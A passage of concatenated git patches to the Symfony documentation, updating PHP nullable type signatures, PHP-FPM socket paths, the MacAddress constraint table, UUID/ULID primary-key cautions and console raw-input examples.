multicast except broadcast +``broadcast`` Only broadcast +=============== ============================================================== + .. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address From c77994da3e84c7c2a0df7b085fe53a4562b0c1ad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Sat, 13 Apr 2024 12:49:03 +0200 Subject: [PATCH 122/615] [Testing] Update nullable types The codebase as been recently updated to replace implicit nullable types with explicit ones, but i think the doc has not been updated. This PR is just an "example" on this page. How do you think we should handle this ? Create a "meta-issue" and split the work by component ? --- testing.rst | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/testing.rst b/testing.rst index ebd29518071..c6c0da1f4d8 100644 --- a/testing.rst +++ b/testing.rst @@ -606,7 +606,7 @@ The full signature of the ``request()`` method is:: array $parameters = [], array $files = [], array $server = [], - string $content = null, + ?string $content = null, bool $changeHistory = true ): Crawler @@ -1007,7 +1007,7 @@ Response Assertions Asserts that the response was successful (HTTP status is 2xx). ``assertResponseStatusCodeSame(int $expectedCode, string $message = '')`` Asserts a specific HTTP status code. -``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')`` +``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '')`` Asserts the response is a redirect response (optionally, you can check the target location and status code). ``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')`` @@ -1015,10 +1015,10 @@ Response Assertions ``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')`` Asserts the given header does (not) contain the expected value on the response, e.g. ``assertResponseHeaderSame('content-type', 'application/octet-stream');``. -``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')`` +``assertResponseHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')`` Asserts the given cookie is present in the response (optionally checking for a specific cookie path or domain). -``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')`` +``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')`` Asserts the given cookie is present and set to the expected value. ``assertResponseFormatSame(?string $expectedFormat, string $message = '')`` Asserts the response format returned by the @@ -1047,10 +1047,10 @@ Request Assertions Browser Assertions .................. -``assertBrowserHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')`` +``assertBrowserHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')`` Asserts that the test Client does (not) have the given cookie set (meaning, the cookie was set by any response in the test). -``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')`` +``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')`` Asserts the given cookie in the test Client is set to the expected value. ``assertThatForClient(Constraint $constraint, string $message = '')`` @@ -1108,18 +1108,18 @@ Mailer Assertions Starting from Symfony 5.1, the following assertions no longer require to make a request with the ``Client`` in a test case extending the ``WebTestCase`` class. -``assertEmailCount(int $count, string $transport = null, string $message = '')`` +``assertEmailCount(int $count, ?string $transport = null, string $message = '')`` Asserts that the expected number of emails was sent. -``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')`` +``assertQueuedEmailCount(int $count, ?string $transport = null, string $message = '')`` Asserts that the expected number of emails was queued (e.g. using the Messenger component). ``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')`` Asserts that the given mailer event is (not) queued. Use - ``getMailerEvent(int $index = 0, string $transport = null)`` to + ``getMailerEvent(int $index = 0, ?string $transport = null)`` to retrieve a mailer event by index. ``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')`` Asserts that the given email has the expected number of attachments. Use - ``getMailerMessage(int $index = 0, string $transport = null)`` to + ``getMailerMessage(int $index = 0, ?string $transport = null)`` to retrieve a specific email by index. ``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')`` Asserts that the text body of the given email does (not) contain the From d896411792d149922a7d69bd8f1294b1a0c77158 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Sat, 13 Apr 2024 16:53:04 +0200 Subject: [PATCH 123/615] [CS] Fix more nullable types Follows #19786 --- components/expression_language.rst | 2 +- components/serializer.rst | 6 +++--- controller/error_pages.rst | 4 ++-- form/dynamic_form_modification.rst | 2 +- frontend/custom_version_strategy.rst | 2 +- http_client.rst | 4 ++-- messenger.rst | 2 +- messenger/custom-transport.rst | 2 +- notifier.rst | 2 +- profiler.rst | 2 +- reference/constraints/File.rst | 2 +- reference/constraints/Image.rst | 2 +- reference/forms/types/collection.rst | 2 +- routing/custom_route_loader.rst | 8 ++++---- security/access_denied_handler.rst | 2 +- security/login_link.rst | 2 +- serializer/custom_normalizer.rst | 4 ++-- validation/custom_constraint.rst | 8 ++++---- 18 files changed, 29 insertions(+), 29 deletions(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index 05a172cfa0f..e90c580fe98 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -359,7 +359,7 @@ or by using the second argument of the constructor:: class ExpressionLanguage extends BaseExpressionLanguage { - public function __construct(CacheItemPoolInterface $cache = null, array $providers = []) + public function __construct(?CacheItemPoolInterface $cache = null, array $providers = []) { // prepends the default provider to let users override it array_unshift($providers, new StringExpressionLanguageProvider()); diff --git a/components/serializer.rst b/components/serializer.rst index 1ebe70bb204..fedd41cf08b 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -118,7 +118,7 @@ exists in your project:: $this->sportsperson = $sportsperson; } - public function setCreatedAt(\DateTime $createdAt = null): void + public function setCreatedAt(?\DateTime $createdAt = null): void { $this->createdAt = $createdAt; } @@ -798,7 +798,7 @@ When serializing, you can set a callback to format a specific object property:: $encoder = new JsonEncoder(); // all callback parameters are optional (you can omit the ones you don't use) - $dateCallback = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) { + $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) { return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : ''; }; @@ -1605,7 +1605,7 @@ having unique identifiers:: $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader())); // all callback parameters are optional (you can omit the ones you don't use) - $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) { + $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) { return '/foos/'.$innerObject->id; }; diff --git a/controller/error_pages.rst b/controller/error_pages.rst index 8424702c19d..6a8b343ceca 100644 --- a/controller/error_pages.rst +++ b/controller/error_pages.rst @@ -216,7 +216,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input:: class MyCustomProblemNormalizer implements NormalizerInterface { - public function normalize($exception, string $format = null, array $context = []) + public function normalize($exception, ?string $format = null, array $context = []) { return [ 'content' => 'This is my custom problem normalizer.', @@ -227,7 +227,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input:: ]; } - public function supportsNormalization($data, string $format = null) + public function supportsNormalization($data, ?string $format = null) { return $data instanceof FlattenException; } diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst index 48dc03f0797..8244c41b74a 100644 --- a/form/dynamic_form_modification.rst +++ b/form/dynamic_form_modification.rst @@ -459,7 +459,7 @@ The type would now look like:: ]) ; - $formModifier = function (FormInterface $form, Sport $sport = null) { + $formModifier = function (FormInterface $form, ?Sport $sport = null) { $positions = null === $sport ? [] : $sport->getAvailablePositions(); $form->add('position', EntityType::class, [ diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst index c5716b3f111..3ae6b20bc44 100644 --- a/frontend/custom_version_strategy.rst +++ b/frontend/custom_version_strategy.rst @@ -68,7 +68,7 @@ version string:: * @param string $manifestPath * @param string|null $format */ - public function __construct(string $manifestPath, string $format = null) + public function __construct(string $manifestPath, ?string $format = null) { $this->manifestPath = $manifestPath; $this->format = $format ?: '%s?%s'; diff --git a/http_client.rst b/http_client.rst index d324b65bba8..8a344e552a2 100644 --- a/http_client.rst +++ b/http_client.rst @@ -1651,7 +1651,7 @@ If you want to extend the behavior of a base HTTP client, you can use { private $decoratedClient; - public function __construct(HttpClientInterface $decoratedClient = null) + public function __construct(?HttpClientInterface $decoratedClient = null) { $this->decoratedClient = $decoratedClient ?? HttpClient::create(); } @@ -1667,7 +1667,7 @@ If you want to extend the behavior of a base HTTP client, you can use return $response; } - public function stream($responses, float $timeout = null): ResponseStreamInterface + public function stream($responses, ?float $timeout = null): ResponseStreamInterface { return $this->decoratedClient->stream($responses, $timeout); } diff --git a/messenger.rst b/messenger.rst index ea8a66ae8cc..a93967a4a17 100644 --- a/messenger.rst +++ b/messenger.rst @@ -2220,7 +2220,7 @@ provided in order to ease the declaration of these special handlers:: { use BatchHandlerTrait; - public function __invoke(MyMessage $message, Acknowledger $ack = null) + public function __invoke(MyMessage $message, ?Acknowledger $ack = null) { return $this->handle($message, $ack); } diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst index dcd7b26971b..0ae6441564f 100644 --- a/messenger/custom-transport.rst +++ b/messenger/custom-transport.rst @@ -50,7 +50,7 @@ Here is a simplified example of a database transport:: /** * @param FakeDatabase $db is used for demo purposes. It is not a real class. */ - public function __construct(FakeDatabase $db, SerializerInterface $serializer = null) + public function __construct(FakeDatabase $db, ?SerializerInterface $serializer = null) { $this->db = $db; $this->serializer = $serializer ?? new PhpSerializer(); diff --git a/notifier.rst b/notifier.rst index fe3f0ff0ea5..7fc3ae67e84 100644 --- a/notifier.rst +++ b/notifier.rst @@ -778,7 +778,7 @@ and its ``asChatMessage()`` method:: $this->price = $price; } - public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage + public function asChatMessage(RecipientInterface $recipient, ?string $transport = null): ?ChatMessage { // Add a custom subject and emoji if the message is sent to Slack if ('slack' === $transport) { diff --git a/profiler.rst b/profiler.rst index 134a8336cf4..133296e9203 100644 --- a/profiler.rst +++ b/profiler.rst @@ -255,7 +255,7 @@ request:: class RequestCollector extends AbstractDataCollector { - public function collect(Request $request, Response $response, \Throwable $exception = null) + public function collect(Request $request, Response $response, ?\Throwable $exception = null) { $this->data = [ 'method' => $request->getMethod(), diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst index ad36a42abb8..71fd2ac5932 100644 --- a/reference/constraints/File.rst +++ b/reference/constraints/File.rst @@ -40,7 +40,7 @@ type. The ``Author`` class might look as follows:: { protected $bioFile; - public function setBioFile(File $file = null) + public function setBioFile(?File $file = null) { $this->bioFile = $file; } diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst index 917335f49cb..c2c838db847 100644 --- a/reference/constraints/Image.rst +++ b/reference/constraints/Image.rst @@ -35,7 +35,7 @@ would be a ``file`` type. The ``Author`` class might look as follows:: { protected $headshot; - public function setHeadshot(File $file = null) + public function setHeadshot(?File $file = null) { $this->headshot = $file; } diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst index 785853374b6..801dcfd0b5b 100644 --- a/reference/forms/types/collection.rst +++ b/reference/forms/types/collection.rst @@ -160,7 +160,7 @@ the value is removed from the collection. For example:: $builder->add('users', CollectionType::class, [ // ... - 'delete_empty' => function (User $user = null) { + 'delete_empty' => function (?User $user = null) { return null === $user || empty($user->getFirstName()); }, ]); diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst index 78fd55f99aa..22e603fc3a7 100644 --- a/routing/custom_route_loader.rst +++ b/routing/custom_route_loader.rst @@ -240,7 +240,7 @@ you do. The resource name itself is not actually used in the example:: { private $isLoaded = false; - public function load($resource, string $type = null) + public function load($resource, ?string $type = null) { if (true === $this->isLoaded) { throw new \RuntimeException('Do not add the "extra" loader twice'); @@ -267,7 +267,7 @@ you do. The resource name itself is not actually used in the example:: return $routes; } - public function supports($resource, string $type = null) + public function supports($resource, ?string $type = null) { return 'extra' === $type; } @@ -412,7 +412,7 @@ configuration file - you can call the class AdvancedLoader extends Loader { - public function load($resource, string $type = null) + public function load($resource, ?string $type = null) { $routes = new RouteCollection(); @@ -426,7 +426,7 @@ configuration file - you can call the return $routes; } - public function supports($resource, string $type = null) + public function supports($resource, ?string $type = null) { return 'advanced_extra' === $type; } diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst index 93448456cf0..6ab876d5c4a 100644 --- a/security/access_denied_handler.rst +++ b/security/access_denied_handler.rst @@ -40,7 +40,7 @@ unauthenticated user tries to access a protected resource:: $this->urlGenerator = $urlGenerator; } - public function start(Request $request, AuthenticationException $authException = null): RedirectResponse + public function start(Request $request, ?AuthenticationException $authException = null): RedirectResponse { // add a custom flash message and redirect to the login page $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.'); diff --git a/security/login_link.rst b/security/login_link.rst index 73df5906565..23756024712 100644 --- a/security/login_link.rst +++ b/security/login_link.rst @@ -312,7 +312,7 @@ This will send an email like this to the user: class CustomLoginLinkNotification extends LoginLinkNotification { - public function asEmailMessage(EmailRecipientInterface $recipient, string $transport = null): ?EmailMessage + public function asEmailMessage(EmailRecipientInterface $recipient, ?string $transport = null): ?EmailMessage { $emailMessage = parent::asEmailMessage($recipient, $transport); diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst index 85044ed0f33..dd02db39bb1 100644 --- a/serializer/custom_normalizer.rst +++ b/serializer/custom_normalizer.rst @@ -33,7 +33,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``: $this->normalizer = $normalizer; } - public function normalize($topic, string $format = null, array $context = []) + public function normalize($topic, ?string $format = null, array $context = []) { $data = $this->normalizer->normalize($topic, $format, $context); @@ -45,7 +45,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``: return $data; } - public function supportsNormalization($data, string $format = null, array $context = []) + public function supportsNormalization($data, ?string $format = null, array $context = []) { return $data instanceof Topic; } diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index 593c968e12a..e7c172181c3 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -44,7 +44,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen public $mode = 'strict'; // all configurable options must be passed to the constructor - public function __construct(string $mode = null, string $message = null, array $groups = null, $payload = null) + public function __construct(?string $mode = null, ?string $message = null, ?array $groups = null, $payload = null) { parent::__construct([], $groups, $payload); @@ -270,9 +270,9 @@ define those options as public properties on the constraint class: public function __construct( $mandatoryFooOption, - string $message = null, - bool $optionalBarOption = null, - array $groups = null, + ?string $message = null, + ?bool $optionalBarOption = null, + ?array $groups = null, $payload = null, array $options = [] ) { From ba2513721294ff8bb494aed171b51fa4f68433d6 Mon Sep 17 00:00:00 2001 From: Maxime Veber <nek.dev@gmail.com> Date: Fri, 12 Apr 2024 09:52:49 +0200 Subject: [PATCH 124/615] Update php version in web_server_configuration.rst --- setup/web_server_configuration.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst index cfd4ec1a0b7..1f62d5e9af6 100644 --- a/setup/web_server_configuration.rst +++ b/setup/web_server_configuration.rst @@ -36,7 +36,7 @@ listen on. Each pool can also be run under a different UID and GID: .. code-block:: ini - ; /etc/php/7.4/fpm/pool.d/www.conf + ; /etc/php/8.3/fpm/pool.d/www.conf ; a pool called www [www] @@ -44,7 +44,7 @@ listen on. Each pool can also be run under a different UID and GID: group = www-data ; use a unix domain socket - listen = /var/run/php/php7.4-fpm.sock + listen = /var/run/php/php8.3-fpm.sock ; or listen on a TCP connection ; listen = 127.0.0.1:9000 @@ -72,7 +72,7 @@ directive to pass requests for PHP files to PHP FPM: <FilesMatch \.php$> # when using PHP-FPM as a unix socket - SetHandler proxy:unix:/var/run/php/php7.4-fpm.sock|fcgi://dummy + SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy # when PHP-FPM is configured to use TCP # SetHandler proxy:fcgi://127.0.0.1:9000 @@ -121,7 +121,7 @@ The **minimum configuration** to get your application running under Nginx is: location ~ ^/index\.php(/|$) { # when using PHP-FPM as a unix socket - fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; + fastcgi_pass unix:/var/run/php/php8.3-fpm.sock; # when PHP-FPM is configured to use TCP # fastcgi_pass 127.0.0.1:9000; @@ -198,7 +198,7 @@ When using Caddy on the server, you can use a configuration like this: file_server # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP) - php_fastcgi unix//var/run/php/php7.4-fpm.sock { + php_fastcgi unix//var/run/php/php8.3-fpm.sock { # optionally set the value of the environment variables used in the application # env APP_ENV "prod" # env APP_SECRET "<app-secret-id>" From 3aa6914c2ee9b775b2cb4415e4ae607b8107729a Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Mon, 15 Apr 2024 07:59:31 +0200 Subject: [PATCH 125/615] minor --- testing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/testing.rst b/testing.rst index c6c0da1f4d8..f4edb68c404 100644 --- a/testing.rst +++ b/testing.rst @@ -600,7 +600,7 @@ returns a ``Crawler`` instance. The full signature of the ``request()`` method is:: - request( + public function request( string $method, string $uri, array $parameters = [], From 82723f13a4e22cdf234158c9459f20b8d7ade092 Mon Sep 17 00:00:00 2001 From: Masaharu Suizu <30203831+suizumasahar01@users.noreply.github.com> Date: Wed, 10 Apr 2024 19:48:20 +0900 Subject: [PATCH 126/615] [Console] Update monolog_console.rst --- logging/monolog_console.rst | 1 + reference/constraints/UniqueEntity.rst | 12 ++++++------ reference/twig_reference.rst | 15 ++++++++++++--- 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst index 133185937c7..6df9111eca8 100644 --- a/logging/monolog_console.rst +++ b/logging/monolog_console.rst @@ -46,6 +46,7 @@ The example above could then be rewritten as:: public function __construct(LoggerInterface $logger) { + parent::__construct(); $this->logger = $logger; } diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst index 0f089b2518b..5ae4b29e8ed 100644 --- a/reference/constraints/UniqueEntity.rst +++ b/reference/constraints/UniqueEntity.rst @@ -211,8 +211,8 @@ Consider this example: * @ORM\Entity * @UniqueEntity( * fields={"host", "port"}, - * errorPath="port", - * message="This port is already in use on that host." + * message="This port is already in use on that host.", + * errorPath="port" * ) */ class Service @@ -240,8 +240,8 @@ Consider this example: #[ORM\Entity] #[UniqueEntity( fields: ['host', 'port'], - errorPath: 'port', message: 'This port is already in use on that host.', + errorPath: 'port', )] class Service { @@ -259,8 +259,8 @@ Consider this example: constraints: - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity: fields: [host, port] - errorPath: port message: 'This port is already in use on that host.' + errorPath: port .. code-block:: xml @@ -276,8 +276,8 @@ Consider this example: <value>host</value> <value>port</value> </option> - <option name="errorPath">port</option> <option name="message">This port is already in use on that host.</option> + <option name="errorPath">port</option> </constraint> </class> @@ -300,8 +300,8 @@ Consider this example: { $metadata->addConstraint(new UniqueEntity([ 'fields' => ['host', 'port'], - 'errorPath' => 'port', 'message' => 'This port is already in use on that host.', + 'errorPath' => 'port', ])); } } diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst index 481cbd23898..1c20264352c 100644 --- a/reference/twig_reference.rst +++ b/reference/twig_reference.rst @@ -391,9 +391,18 @@ humanize ``text`` **type**: ``string`` -Makes a technical name human readable (i.e. replaces underscores by spaces -or transforms camelCase text like ``helloWorld`` to ``hello world`` -and then capitalizes the string). +Transforms the given string into a human readable string (by replacing underscores +with spaces, capitalizing the string, etc.) It's useful e.g. when displaying +the names of PHP properties/variables to end users: + +.. code-block:: twig + + {{ 'dateOfBirth'|humanize }} {# renders: Date of birth #} + {{ 'DateOfBirth'|humanize }} {# renders: Date of birth #} + {{ 'date-of-birth'|humanize }} {# renders: Date-of-birth #} + {{ 'date_of_birth'|humanize }} {# renders: Date of birth #} + {{ 'date of birth'|humanize }} {# renders: Date of birth #} + {{ 'Date Of Birth'|humanize }} {# renders: Date of birth #} .. _reference-twig-filter-trans: From f2de30473652fc18a6085030c9e1aa9a8537379f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 12 Apr 2024 16:04:07 +0200 Subject: [PATCH 127/615] [Uid] Add a caution message about using UUIDs as primary keys --- components/uid.rst | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/components/uid.rst b/components/uid.rst index e64eabee0fb..4830be747b2 100644 --- a/components/uid.rst +++ b/components/uid.rst @@ -344,6 +344,14 @@ entity primary keys:: // ... } +.. caution:: + + Using UUIDs as primary keys is usually not recommended for performance reasons: + indexes are slower and take more space (because UUIDs in binary format take 128 bits + instead of 32/64 bits for auto-incremental integers) and the non-sequential nature of + UUIDs fragments indexes. UUID v7 is the only variant that solves the fragmentation + issue (but the index size issue remains). + When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine knows how to convert these UUID types to build the SQL query (e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL @@ -530,9 +538,15 @@ entity primary keys:: } // ... - } +.. caution:: + + Using ULIDs as primary keys is usually not recommended for performance reasons. + Although ULIDs don't suffer from index fragmentation issues (because the values + are sequential), their indexes are slower and take more space (because ULIDs + in binary format take 128 bits instead of 32/64 bits for auto-incremental integers). + When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine knows how to convert these ULID types to build the SQL query (e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL From 28eceb8039bfdc16f4de77e65cf5ea1ff8b20152 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 15 Apr 2024 08:27:59 +0200 Subject: [PATCH 128/615] Add a reference --- components/uid.rst | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/components/uid.rst b/components/uid.rst index 4830be747b2..16bd172ca6e 100644 --- a/components/uid.rst +++ b/components/uid.rst @@ -113,6 +113,8 @@ sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing It's recommended to use UUIDv7 instead of UUIDv6 because it provides better entropy. +.. _uid-uuid-v7: + **UUID v7** (UNIX timestamp) Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp @@ -347,10 +349,10 @@ entity primary keys:: .. caution:: Using UUIDs as primary keys is usually not recommended for performance reasons: - indexes are slower and take more space (because UUIDs in binary format take 128 bits - instead of 32/64 bits for auto-incremental integers) and the non-sequential nature of - UUIDs fragments indexes. UUID v7 is the only variant that solves the fragmentation - issue (but the index size issue remains). + indexes are slower and take more space (because UUIDs in binary format take + 128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential + nature of UUIDs fragments indexes. :ref:`UUID v7 <uid-uuid-v7>` is the only + variant that solves the fragmentation issue (but the index size issue remains). When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine knows how to convert these UUID types to build the SQL query From babae18a11a2c3e84de9d0448cbdb9def239b438 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 15 Apr 2024 09:17:57 +0200 Subject: [PATCH 129/615] Tweaks --- reference/constraints/MacAddress.rst | 29 +++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst index 93fe8142fc4..2958af49874 100644 --- a/reference/constraints/MacAddress.rst +++ b/reference/constraints/MacAddress.rst @@ -110,26 +110,29 @@ Parameter Description **type**: ``string`` **default**: ``all`` -This determines exactly *how* the MAC address is validated. This option defines a -lot of different possible values based on the type of MAC address that you want to allow/deny: +.. versionadded:: 7.1 + + The ``type`` option was introduced in Symfony 7.1. -================================ ============================================================== -Parameter Description -================================ ============================================================== +This option defines the kind of MAC addresses that are allowed. There are a lot +of different possible values based on your needs: + +================================ ========================================= +Parameter Allowed MAC addresses +================================ ========================================= ``all`` All ``all_no_broadcast`` All except broadcast +``broadcast`` Only broadcast ``local_all`` Only local +``local_multicast_no_broadcast`` Only local and multicast except broadcast +``local_multicast`` Only local and multicast ``local_no_broadcast`` Only local except broadcast ``local_unicast`` Only local and unicast -``local_multicast`` Only local and multicast -``local_multicast_no_broadcast`` Only local and multicast except broadcast -``universal_all`` Only universal -``universal_unicast`` Only universal and unicast -``universal_multicast`` Only universal and multicast -``unicast_all`` Only unicast ``multicast_all`` Only multicast ``multicast_no_broadcast`` Only multicast except broadcast -``broadcast`` Only broadcast -=============== ============================================================== +``unicast_all`` Only unicast +``universal_all`` Only universal +``universal_multicast`` Only universal and multicast +================================ ========================================= .. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address From 25c5adfcbb2c68ebe8261643afcebf53464206ea Mon Sep 17 00:00:00 2001 From: Yonel Ceruto <yonel.ceruto@scnd.com> Date: Wed, 3 Apr 2024 19:12:01 -0400 Subject: [PATCH 130/615] Updating prepend extension capabilities --- bundles/prepend_extension.rst | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst index 2a5736c440e..807c7f18caf 100644 --- a/bundles/prepend_extension.rst +++ b/bundles/prepend_extension.rst @@ -171,6 +171,9 @@ method:: $containerBuilder->prependExtensionConfig('framework', [ 'cache' => ['prefix_seed' => 'foo/bar'], ]); + + // prepend config from a file + $containerConfigurator->import('../config/packages/cache.php'); } } @@ -178,6 +181,12 @@ method:: The ``prependExtension()`` method, like ``prepend()``, is called only at compile time. +.. deprecated:: 7.1 + + The :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import` + method behavior was modified in Symfony 7.1 to prepend config instead of appending. This behavior change only + affects to the ``prependExtension()`` method. + Alternatively, you can use the ``prepend`` parameter of the :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension` method:: From a58dccf088719da4dceedc49dab3d5c18b2701b3 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 15 Apr 2024 17:01:53 +0200 Subject: [PATCH 131/615] Reword --- console/input.rst | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/console/input.rst b/console/input.rst index f889926be59..6e7fc85a055 100644 --- a/console/input.rst +++ b/console/input.rst @@ -314,29 +314,34 @@ The above code can be simplified as follows because ``false !== null``:: Fetching The Raw Command Input ------------------------------ -Sometimes, you may need to fetch the raw input that was passed to the command. -This is useful when you need to parse the input yourself or when you need to -pass the input to another command without having to worry about the number -of arguments or options defined in your own command. This can be achieved -thanks to the -:method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` method:: +Symfony provides a :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` +method to fetch the raw input that was passed to the command. This is useful if +you want to parse the input yourself or when you need to pass the input to another +command without having to worry about the number of arguments or options:: // ... use Symfony\Component\Process\Process; protected function execute(InputInterface $input, OutputInterface $output): int { - // pass the raw input of your command to the "ls" command - $process = new Process(['ls', ...$input->getRawTokens(true)]); + // if this command was run as: + // php bin/console app:my-command foo --bar --baz=3 --qux=value1 --qux=value2 + + $tokens = $input->getRawTokens(); + // $tokens = ['app:my-command', 'foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2']; + + // pass true as argument to not include the original command name + $tokens = $input->getRawTokens(true); + // $tokens = ['foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2']; + + // pass the raw input to any other command (from Symfony or the operating system) + $process = new Process(['app:other-command', ...$input->getRawTokens(true)]); $process->setTty(true); $process->mustRun(); // ... } -You can include the current command name in the raw tokens by passing ``true`` -to the ``getRawTokens`` method only parameter. - .. versionadded:: 7.1 The :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` From 4937afbab404e8fdeaa51d9cba2d7eaff2edc67d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 15 Apr 2024 17:57:32 +0200 Subject: [PATCH 132/615] Minor reword --- bundles/prepend_extension.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst index 807c7f18caf..e4099d9f81a 100644 --- a/bundles/prepend_extension.rst +++ b/bundles/prepend_extension.rst @@ -181,11 +181,11 @@ method:: The ``prependExtension()`` method, like ``prepend()``, is called only at compile time. -.. deprecated:: 7.1 +.. versionadded:: 7.1 - The :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import` - method behavior was modified in Symfony 7.1 to prepend config instead of appending. This behavior change only - affects to the ``prependExtension()`` method. + Starting from Symfony 7.1, calling the :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::import` + method inside ``prependExtension()`` will prepend the given configuration. + In previous Symfony versions, this method appended the configuration. Alternatively, you can use the ``prepend`` parameter of the :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension` From 2c8bc90536e9be2b606044124ad186fad0b38e8f Mon Sep 17 00:00:00 2001 From: Kevin 